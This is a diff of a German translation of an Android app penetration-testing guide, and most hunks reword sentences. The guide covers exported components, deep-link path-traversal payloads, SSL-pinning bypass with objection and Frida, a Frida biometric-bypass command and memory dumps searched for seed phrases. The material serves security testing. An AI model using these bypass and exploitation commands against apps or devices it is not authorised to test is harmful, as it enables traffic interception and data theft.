 - **Content Provider und FileProviders**: Exponierte Content Provider könnten unbefugten Zugriff oder Modifikationen von Daten ermöglichen. Die Konfiguration von FileProviders sollte ebenfalls überprüft werden.
-- **Broadcast-Empfänger und URL-Schemata**: Diese Komponenten könnten für Ausnutzungen verwendet werden, wobei besonderes Augenmerk darauf gelegt werden sollte, wie URL-Schemata für Eingabeverwundbarkeiten verwaltet werden.
+- **Broadcast-Empfänger und URL-Schemata**: Diese Komponenten könnten für Ausnutzungen verwendet werden, wobei besonderes Augenmerk darauf gelegt werden sollte, wie URL-Schemata für Eingabeverletzungen verwaltet werden.
 - **SDK-Versionen**: Die Attribute `minSdkVersion`, `targetSDKVersion` und `maxSdkVersion` geben die unterstützten Android-Versionen an und heben die Bedeutung hervor, veraltete, anfällige Android-Versionen aus Sicherheitsgründen nicht zu unterstützen.
 
 Aus der **strings.xml**-Datei können sensible Informationen wie API-Schlüssel, benutzerdefinierte Schemata und andere Entwicklernotizen entdeckt werden, was die Notwendigkeit einer sorgfältigen Überprüfung dieser Ressourcen unterstreicht.
@@ -87,7 +87,7 @@ tapjacking.md
 
 ### Task Hijacking
 
-Eine **Aktivität**, deren **`launchMode`** auf **`singleTask`** ohne definierte `taskAffinity` gesetzt ist, ist anfällig für Task Hijacking. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, die **Aufgabe der echten Anwendung übernehmen könnte** (sodass der Benutzer mit der **bösartigen Anwendung interagiert, während er denkt, er verwendet die echte**).
+Eine **Aktivität**, deren **`launchMode`** auf **`singleTask`** ohne definierte `taskAffinity` gesetzt ist, ist anfällig für Task Hijacking. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, die **Aufgabe der echten Anwendung übernehmen könnte** (sodass der Benutzer mit der **bösartigen Anwendung interagiert, während er denkt, er benutze die echte**).
 
 Weitere Informationen finden Sie in:
 
@@ -99,12 +99,12 @@ android-task-hijacking.md
 
 **Interner Speicher**
 
-In Android sind Dateien, die im **internen** Speicher **gespeichert** werden, **so konzipiert**, dass sie **ausschließlich** von der **App**, die sie **erstellt** hat, **zugänglich** sind. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem **durchgesetzt** und ist im Allgemeinen ausreichend für die Sicherheitsbedürfnisse der meisten Anwendungen. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um **Dateien** zwischen verschiedenen Anwendungen **zu teilen**. Diese Modi **beschränken jedoch nicht den Zugriff** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger.
+In Android sind Dateien, die im **internen** Speicher **gespeichert** werden, **so konzipiert**, dass sie **ausschließlich** von der **App**, die sie **erstellt** hat, **zugänglich** sind. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem **durchgesetzt** und ist im Allgemeinen ausreichend für die Sicherheitsbedürfnisse der meisten Anwendungen. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um **zuzulassen**, dass Dateien zwischen verschiedenen Anwendungen **geteilt** werden. Diese Modi **beschränken jedoch nicht den Zugriff** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger.
 
 1. **Statische Analyse:**
 - **Stellen Sie sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig überprüft** wird. Diese Modi **könnten potenziell** Dateien **unbeabsichtigt oder unbefugt zugänglich machen**.
 2. **Dynamische Analyse:**
-- **Überprüfen** Sie die **Berechtigungen**, die für Dateien festgelegt sind, die von der App erstellt wurden. Überprüfen Sie insbesondere, ob Dateien **so eingestellt sind, dass sie weltweit lesbar oder schreibbar sind**. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder Anwendung**, die auf dem Gerät installiert ist, unabhängig von ihrer Herkunft oder Absicht, **ermöglicht, diese Dateien zu lesen oder zu ändern**.
+- **Überprüfen** Sie die **Berechtigungen**, die für Dateien festgelegt sind, die von der App erstellt wurden. Überprüfen Sie insbesondere, ob Dateien **so eingestellt sind, dass sie weltweit lesbar oder schreibbar sind**. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder Anwendung**, die auf dem Gerät installiert ist, unabhängig von ihrer Herkunft oder Absicht, **ermöglicht, diese Dateien zu lesen oder zu modifizieren**.
 
 **Externer Speicher**
 
@@ -114,7 +114,7 @@ Beim Umgang mit Dateien auf **externem Speicher**, wie SD-Karten, sollten bestim
 - Dateien auf externem Speicher sind **global lesbar und schreibbar**. Das bedeutet, dass jede Anwendung oder jeder Benutzer auf diese Dateien zugreifen kann.
 2. **Sicherheitsbedenken**:
 - Angesichts der einfachen Zugänglichkeit wird geraten, **keine sensiblen Informationen** auf externem Speicher zu speichern.
-- Externer Speicher kann von jeder Anwendung entfernt oder zugegriffen werden, was ihn weniger sicher macht.
+- Externer Speicher kann entfernt oder von jeder Anwendung zugegriffen werden, was ihn weniger sicher macht.
 3. **Umgang mit Daten vom externen Speicher**:
 - Führen Sie immer **Eingangsvalidierungen** für Daten durch, die vom externen Speicher abgerufen werden. Dies ist entscheidend, da die Daten aus einer nicht vertrauenswürdigen Quelle stammen.
 - Das Speichern von ausführbaren Dateien oder Klassen auf externem Speicher für dynamisches Laden wird dringend abgeraten.
@@ -122,12 +122,12 @@ Beim Umgang mit Dateien auf **externem Speicher**, wie SD-Karten, sollten bestim
 
 Externer Speicher kann in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` **zugegriffen** werden.
 
-> [!HINWEIS]
+> [!NOTE]
 > Ab Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erhalten.
 
 **Sensible Daten im Klartext gespeichert**
 
-- **Geteilte Präferenzen**: Android ermöglicht es jeder Anwendung, XML-Dateien im Pfad `/data/data/<packagename>/shared_prefs/` einfach zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
+- **Shared Preferences**: Android ermöglicht es jeder Anwendung, XML-Dateien im Pfad `/data/data/<packagename>/shared_prefs/` einfach zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
 - **Datenbanken**: Android ermöglicht es jeder Anwendung, SQLite-Datenbanken im Pfad `/data/data/<packagename>/databases/` einfach zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
 
 ### Gebrochene TLS
@@ -156,7 +156,7 @@ Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Autorisierun
 - Es wird empfohlen, die **APK zu obfuskieren**, um die Reverse-Engineering-Arbeit für Angreifer zu erschweren.
 - Wenn die App sensibel ist (wie Bank-Apps), sollte sie **eigene Überprüfungen durchführen, um zu sehen, ob das Mobilgerät gerootet ist**, und entsprechend handeln.
 - Wenn die App sensibel ist (wie Bank-Apps), sollte sie überprüfen, ob ein **Emulator** verwendet wird.
-- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **ihre eigene Integrität überprüfen, bevor sie ausgeführt wird**, um zu überprüfen, ob sie modifiziert wurde.
+- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **ihre eigene Integrität überprüfen, bevor sie ausgeführt wird**, um zu prüfen, ob sie modifiziert wurde.
 - Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu überprüfen, welcher Compiler/Packer/Obfuskator zum Erstellen der APK verwendet wurde.
 
 ### React Native Anwendung
@@ -240,8 +240,8 @@ avd-android-virtual-device.md
 - [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Kostenlose Version:** Personal Edition, Sie müssen ein Konto erstellen. _Es wird empfohlen, die Version **MIT** _**VirtualBox** herunterzuladen, um potenzielle Fehler zu vermeiden._)
 - [**Nox**](https://es.bignox.com) (Kostenlos, unterstützt jedoch kein Frida oder Drozer).
 
-> [!NOTE]
-> Denken Sie daran, dass beim Erstellen eines neuen Emulators auf einer beliebigen Plattform der Bildschirm größer ist, desto langsamer wird der Emulator ausgeführt. Wählen Sie also nach Möglichkeit kleine Bildschirme aus.
+> [!HINWEIS]
+> Denken Sie daran, dass beim Erstellen eines neuen Emulators auf einer beliebigen Plattform der Bildschirm umso größer ist, je langsamer der Emulator läuft. Wählen Sie also nach Möglichkeit kleine Bildschirme aus.
 
 Um **Google-Dienste** (wie den App Store) in Genymotion zu installieren, müssen Sie auf die rot markierte Schaltfläche im folgenden Bild klicken:
 
@@ -257,7 +257,7 @@ Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es
 2. (Ab Android 8.0) Wählen Sie **System**.
 3. Wählen Sie **Über das Telefon**.
 4. Drücken Sie **Build-Nummer** 7 Mal.
-5. Gehen Sie zurück und Sie finden die **Entwickleroptionen**.
+5. Gehen Sie zurück, und Sie finden die **Entwickleroptionen**.
 
 > Sobald Sie die Anwendung installiert haben, sollten Sie zunächst versuchen, sie zu verwenden und zu untersuchen, was sie tut, wie sie funktioniert und sich damit vertraut zu machen.\
 > Ich empfehle, diese erste dynamische Analyse mit MobSF-Dynamikanalyse + pidcat durchzuführen, damit wir **lernen können, wie die Anwendung funktioniert**, während MobSF eine Menge **interessanter** **Daten** erfasst, die Sie später überprüfen können.
@@ -266,9 +266,9 @@ Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es
 
 **Protokollierung**
 
-Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zugänglich zu machen, da dies zu sensiblen Datenlecks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungsprotokolle zu überwachen, um sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt.
+Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zugänglich zu machen, da dies zu sensiblen Datenlecks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungsprotokolle zu überwachen und sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt.
 
-> [!WARNING]
+> [!WARNUNG]
 > Beachten Sie, dass ab **neueren Versionen als Android 4.0** **Anwendungen nur auf ihre eigenen Protokolle zugreifen können**. Anwendungen können also nicht auf die Protokolle anderer Apps zugreifen.\
 > Dennoch wird weiterhin empfohlen, **sensible Informationen nicht zu protokollieren**.
 
@@ -291,7 +291,7 @@ Anwendungen integrieren häufig Dienste wie Google Adsense, die unbeabsichtigt *
 Die meisten Anwendungen verwenden **interne SQLite-Datenbanken**, um Informationen zu speichern. Während des Pentests sollten Sie einen **Blick** auf die **Datenbanken** werfen, die erstellt wurden, die Namen der **Tabellen** und **Spalten** sowie alle **gespeicherten Daten**, da Sie **sensible Informationen** finden könnten (was eine Schwachstelle darstellen würde).\
 Datenbanken sollten sich in `/data/data/the.package.name/databases` wie `/data/data/com.mwr.example.sieve/databases` befinden.
 
-Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** in der Anwendung **finden**, ist es immer noch eine **Schwachstelle**.
+Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** innerhalb der Anwendung **finden**, ist dies immer noch eine **Schwachstelle**.
 
 Zählen Sie die Tabellen mit `.tables` und zählen Sie die Spalten der Tabellen mit `.schema <table_name>`.
 
@@ -307,7 +307,7 @@ Denken Sie auch daran, dass der Code einer Aktivität in der **`onCreate`**-Meth
 
 **Autorisierungsumgehung**
 
-Wenn eine Aktivität exportiert ist, können Sie ihren Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** ist, die **Authentifizierungsmechanismen** **umgehen**, um darauf zuzugreifen.
+Wenn eine Aktivität exportiert ist, können Sie ihren Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** ist, die **Authentifizierungs**-Mechanismen **umgehen**, um darauf zuzugreifen.
 
 [**Erfahren Sie, wie Sie exportierte Aktivitäten mit Drozer ausnutzen.**](drozer-tutorial/index.html#activities)
 
@@ -346,17 +346,17 @@ Denken Sie daran, dass die Aktionen eines Services in der Methode `onStartComman
 Ein Service ist im Grunde etwas, das **Daten empfangen**, sie **verarbeiten** und (oder nicht) eine Antwort **zurückgeben** kann. Wenn eine Anwendung einige Services exportiert, sollten Sie den **Code** überprüfen, um zu verstehen, was er tut, und ihn **dynamisch** testen, um vertrauliche Informationen zu extrahieren, Authentifizierungsmaßnahmen zu umgehen...\
 [**Erfahren Sie, wie Sie Services mit Drozer ausnutzen.**](drozer-tutorial/index.html#services)
 
-### **Ausnutzen von Broadcast Receivers**
+### **Ausnutzen von Broadcast Receivern**
 
 [**Lesen Sie dies, wenn Sie auffrischen möchten, was ein Broadcast Receiver ist.**](android-applications-basics.md#broadcast-receivers)\
 Denken Sie daran, dass die Aktionen eines Broadcast Receivers in der Methode `onReceive` beginnen.
 
-Ein Broadcast Receiver wartet auf eine Art von Nachricht. Je nachdem, wie der Receiver die Nachricht verarbeitet, könnte er anfällig sein.\
-[**Erfahren Sie, wie Sie Broadcast Receivers mit Drozer ausnutzen.**](#exploiting-broadcast-receivers)
+Ein Broadcast Receiver wartet auf eine Art von Nachricht. Je nachdem, wie der Empfänger die Nachricht verarbeitet, könnte er anfällig sein.\
+[**Erfahren Sie, wie Sie Broadcast Receiver mit Drozer ausnutzen.**](#exploiting-broadcast-receivers)
 
 ### **Ausnutzen von Schemes / Deep Links**
 
-Sie können manuell nach Deep Links suchen, indem Sie Tools wie MobSF oder Skripte wie [dieses](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) verwenden.\
+Sie können manuell nach Deep Links suchen, indem Sie Tools wie MobSF oder Skripte wie [dieses hier](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) verwenden.\
 Sie können ein deklariertes **Scheme** mit **adb** oder einem **Browser** **öffnen**:
 ```bash
 adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
@@ -370,7 +370,7 @@ _Beachten Sie, dass Sie **den Paketnamen weglassen** können und das Mobilgerät
 ```
 **Code ausgeführt**
 
-Um den **Code zu finden, der in der App ausgeführt wird**, gehe zu der Aktivität, die durch den Deeplink aufgerufen wird, und suche die Funktion **`onNewIntent`**.
+Um den **Code zu finden, der in der App ausgeführt wird**, gehe zur Aktivität, die durch den Deeplink aufgerufen wird, und suche die Funktion **`onNewIntent`**.
 
 ![](<../../images/image (436) (1) (1) (1).png>)
 
@@ -381,16 +381,16 @@ Jedes Mal, wenn du einen Deep Link findest, überprüfe, dass **er keine sensibl
 **Parameter im Pfad**
 
 Du **musst auch überprüfen, ob ein Deep Link einen Parameter im Pfad** der URL verwendet, wie: `https://api.example.com/v1/users/{username}`. In diesem Fall kannst du eine Pfadtraversierung erzwingen, indem du auf etwas wie: `example://app/users?username=../../unwanted-endpoint%3fparam=value` zugreifst.\
-Beachte, dass du, wenn du die richtigen Endpunkte innerhalb der Anwendung findest, möglicherweise eine **Open Redirect** verursachen kannst (wenn ein Teil des Pfades als Domainname verwendet wird), **Account-Übernahme** (wenn du die Benutzerdetails ohne CSRF-Token ändern kannst und der verwundbare Endpunkt die richtige Methode verwendet) und jede andere Verwundbarkeit. Mehr [Info dazu hier](http://dphoeniixx.com/2020/12/13-2/).
+Beachte, dass du, wenn du die richtigen Endpunkte innerhalb der Anwendung findest, möglicherweise eine **Open Redirect** verursachen kannst (wenn ein Teil des Pfades als Domainname verwendet wird), **Account-Übernahme** (wenn du die Benutzerdaten ohne CSRF-Token ändern kannst und der verwundbare Endpunkt die richtige Methode verwendet) und jede andere Verwundbarkeit. Mehr [Info dazu hier](http://dphoeniixx.com/2020/12/13-2/).
 
 **Weitere Beispiele**
 
 Ein [interessanter Bug-Bounty-Bericht](https://hackerone.com/reports/855618) über Links (_/.well-known/assetlinks.json_).
 
-### Transport Layer Inspektion und Verifizierungsfehler
+### Fehler bei der Inspektion und Verifizierung der Transportschicht
 
 - **Zertifikate werden von Android-Anwendungen nicht immer ordnungsgemäß überprüft**. Es ist üblich, dass diese Anwendungen Warnungen ignorieren und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen auf HTTP-Verbindungen zurückgreifen.
-- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach**, da unsichere Cipher-Suiten verwendet werden. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
+- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach** und verwenden unsichere Cipher-Suiten. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
 - **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, aber dann über unsichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor der Abfangung durch böswillige Akteure.
 
 #### Zertifikatsverifizierung
@@ -401,9 +401,9 @@ Wir werden uns auf die **Zertifikatsverifizierung** konzentrieren. Die Integrit
 
 SSL-Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzertifikat mit einer bekannten Kopie vergleicht, die innerhalb der Anwendung selbst gespeichert ist. Diese Methode ist entscheidend, um MITM-Angriffe zu verhindern. Die Implementierung von SSL-Pinning wird für Anwendungen, die mit sensiblen Informationen umgehen, dringend empfohlen.
 
-#### Verkehrsinpektion
+#### Verkehrsinspektion
 
-Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats könnte der verschlüsselte Verkehr über den Proxy nicht sichtbar sein. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
+Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
 
 Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config, [**siehe dieses Tutorial**](make-apk-accept-ca-certificate.md).
 
@@ -411,10 +411,10 @@ Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen a
 
 Wenn SSL-Pinning implementiert ist, wird es notwendig, es zu umgehen, um HTTPS-Verkehr zu inspizieren. Verschiedene Methoden stehen dafür zur Verfügung:
 
-- Automatisch **modifiziere** die **apk**, um SSL-Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer.
+- Automatisch **modifizieren** des **apk**, um SSL-Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer.
 - Du könntest **Frida** verwenden (unten besprochen), um diesen Schutz zu umgehen. Hier hast du eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
 - Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
-- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt).
+- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt)
 - Wenn du immer noch denkst, dass es Verkehr gibt, den du nicht erfasst, kannst du versuchen, **den Verkehr mit iptables an burp weiterzuleiten**. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
 
 #### Suche nach häufigen Webverwundbarkeiten
@@ -423,12 +423,12 @@ Es ist auch wichtig, nach häufigen Webverwundbarkeiten innerhalb der Anwendung
 
 ### Frida
 
-[Frida](https://www.frida.re) ist ein dynamisches Instrumentierungstool für Entwickler, Reverse-Engineers und Sicherheitsforscher.\
+[Frida](https://www.frida.re) ist ein dynamisches Instrumentierungstoolkit für Entwickler, Reverse-Engineers und Sicherheitsforscher.\
 **Du kannst laufende Anwendungen zugreifen und Methoden zur Laufzeit hooken, um das Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\
 Wenn du Android-Anwendungen pentesten möchtest, musst du wissen, wie man Frida verwendet.
 
-- Lerne, wie man Frida verwendet: [**Frida-Tutorial**](frida-tutorial/)
-- Eine "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
+- Lerne, wie man Frida verwendet: [**Frida-Tutorial**](frida-tutorial/index.html)
+- Eine Art "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
 - Ojection ist großartig, um die Verwendung von Frida zu automatisieren: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
 - Du kannst einige großartige Frida-Skripte hier finden: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
 - Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) angegeben lädst (Tool [linjector](https://github.com/erfur/linjector-rs))
@@ -450,9 +450,9 @@ Dies wird den Speicher im ./dump-Ordner ausgeben, und dort könnten Sie mit etwa
 ```bash
 strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
 ```
-### **Sensible Daten im Keystore**
+### **Empfindliche Daten im Keystore**
 
-In Android ist der Keystore der beste Ort, um sensible Daten zu speichern. Mit ausreichenden Rechten ist es jedoch immer noch **möglich, darauf zuzugreifen**. Da Anwendungen dazu neigen, hier **sensible Daten im Klartext** zu speichern, sollten die Pentests dies als Root-Benutzer überprüfen, da jemand mit physischem Zugriff auf das Gerät in der Lage sein könnte, diese Daten zu stehlen.
+In Android ist der Keystore der beste Ort, um empfindliche Daten zu speichern. Mit ausreichenden Berechtigungen ist es jedoch immer noch **möglich, darauf zuzugreifen**. Da Anwendungen dazu neigen, hier **empfindliche Daten im Klartext** zu speichern, sollten die Pentests dies als Root-Benutzer überprüfen, da jemand mit physischem Zugriff auf das Gerät in der Lage sein könnte, diese Daten zu stehlen.
 
 Selbst wenn eine App Daten im Keystore speichert, sollten die Daten verschlüsselt sein.
 
@@ -468,13 +468,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
 ```
 ### **Hintergrundbilder**
 
-Wenn Sie eine Anwendung in den Hintergrund setzen, speichert Android einen **Schnappschuss der Anwendung**, sodass beim Wiederherstellen in den Vordergrund das Bild geladen wird, bevor die App, sodass es aussieht, als wäre die App schneller geladen worden.
+Wenn Sie eine Anwendung in den Hintergrund versetzen, speichert Android einen **Schnappschuss der Anwendung**, sodass beim Wiederherstellen in den Vordergrund das Bild geladen wird, bevor die App, sodass es aussieht, als wäre die App schneller geladen worden.
 
 Wenn dieser Schnappschuss jedoch **sensible Informationen** enthält, könnte jemand mit Zugriff auf den Schnappschuss diese **Informationen stehlen** (beachten Sie, dass Sie Root-Rechte benötigen, um darauf zuzugreifen).
 
 Die Schnappschüsse werden normalerweise unter folgendem Pfad gespeichert: **`/data/system_ce/0/snapshots`**
 
-Android bietet eine Möglichkeit, die **Screenshot-Erfassung zu verhindern, indem der FLAG_SECURE** Layoutparameter gesetzt wird. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, wodurch sie nicht in Screenshots erscheinen oder auf nicht sicheren Displays angezeigt werden können.
+Android bietet eine Möglichkeit, die **Screenshot-Erfassung zu verhindern, indem der FLAG_SECURE** Layoutparameter gesetzt wird. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, wodurch verhindert wird, dass sie in Screenshots erscheinen oder auf nicht sicheren Displays angezeigt werden.
 ```bash
 getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 ```
@@ -484,20 +484,20 @@ Dieses Tool kann Ihnen helfen, verschiedene Tools während der dynamischen Analy
 
 ### Intent Injection
 
-Entwickler erstellen häufig Proxy-Komponenten wie Aktivitäten, Dienste und Broadcast-Receiver, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weitergeben, was riskant sein kann.
+Entwickler erstellen häufig Proxy-Komponenten wie Aktivitäten, Dienste und Broadcast-Receiver, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weiterleiten, was riskant sein kann.
 
-Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Komponenten auszulösen oder auf sensible Content-Provider zuzugreifen, indem diese Intents fehlgeleitet werden. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs in `Intent`-Objekte über `Intent.parseUri(...)` umwandelt und sie dann ausführt, was potenziell zu bösartigen Intent-Injektionen führen kann.
+Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Komponenten auszulösen oder auf sensible Content-Provider zuzugreifen, indem sie diese Intents fehlleiten. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs in `Intent`-Objekte über `Intent.parseUri(...)` umwandelt und sie dann ausführt, was potenziell zu bösartigen Intent-Injektionen führen kann.
 
 ### Wesentliche Erkenntnisse
 
 - **Intent Injection** ist ähnlich wie das Open Redirect-Problem im Web.
 - Exploits beinhalten das Übergeben von `Intent`-Objekten als Extras, die umgeleitet werden können, um unsichere Operationen auszuführen.
-- Es kann nicht exportierte Komponenten und Content-Provider für Angreifer zugänglich machen.
+- Es kann nicht exportierte Komponenten und Content-Provider Angreifern aussetzen.
 - Die URL-zu-`Intent`-Umwandlung von `WebView` kann unbeabsichtigte Aktionen erleichtern.
 
 ### Android Client Side Injections und andere
 
-Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen besonders vorsichtig mit diesen Schwachstellen in einer Android-Anwendung sein:
+Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen bei diesen Schwachstellen in einer Android-Anwendung besonders vorsichtig sein:
 
 - **SQL Injection:** Stellen Sie beim Umgang mit dynamischen Abfragen oder Content-Providern sicher, dass Sie parametrisierte Abfragen verwenden.
 - **JavaScript Injection (XSS):** Überprüfen Sie, ob JavaScript- und Plugin-Unterstützung für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled).
@@ -520,8 +520,8 @@ Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen
 docker pull opensecurity/mobile-security-framework-mobsf
 docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 ```
-Beachten Sie, dass MobSF **Android**(apk)**, IOS**(ipa) **und Windows**(apx) Anwendungen analysieren kann (_Windows-Anwendungen müssen von einem MobSF analysiert werden, das auf einem Windows-Host installiert ist_).\
-Wenn Sie außerdem eine **ZIP**-Datei mit dem Quellcode einer **Android**- oder **IOS**-App erstellen (gehen Sie zum Stammordner der Anwendung, wählen Sie alles aus und erstellen Sie eine ZIP-Datei), kann es diese ebenfalls analysieren.
+Hinweis: MobSF kann **Android**(apk)**, IOS**(ipa) **und Windows**(apx) Anwendungen analysieren (_Windows-Anwendungen müssen von einem MobSF analysiert werden, das auf einem Windows-Host installiert ist_).\
+Wenn Sie auch eine **ZIP**-Datei mit dem Quellcode einer **Android**- oder **IOS**-App erstellen (gehen Sie zum Stammverzeichnis der Anwendung, wählen Sie alles aus und erstellen Sie eine ZIP-Datei), kann es diese ebenfalls analysieren.
 
 MobSF ermöglicht auch die **Diff/Compare**-Analyse und die Integration von **VirusTotal** (Sie müssen Ihren API-Schlüssel in _MobSF/settings.py_ festlegen und aktivieren: `VT_ENABLED = TRUE` `VT_API_KEY = <Ihr API-Schlüssel>` `VT_UPLOAD = TRUE`). Sie können auch `VT_UPLOAD` auf `False` setzen, dann wird der **Hash** anstelle der Datei **hochgeladen**.
 
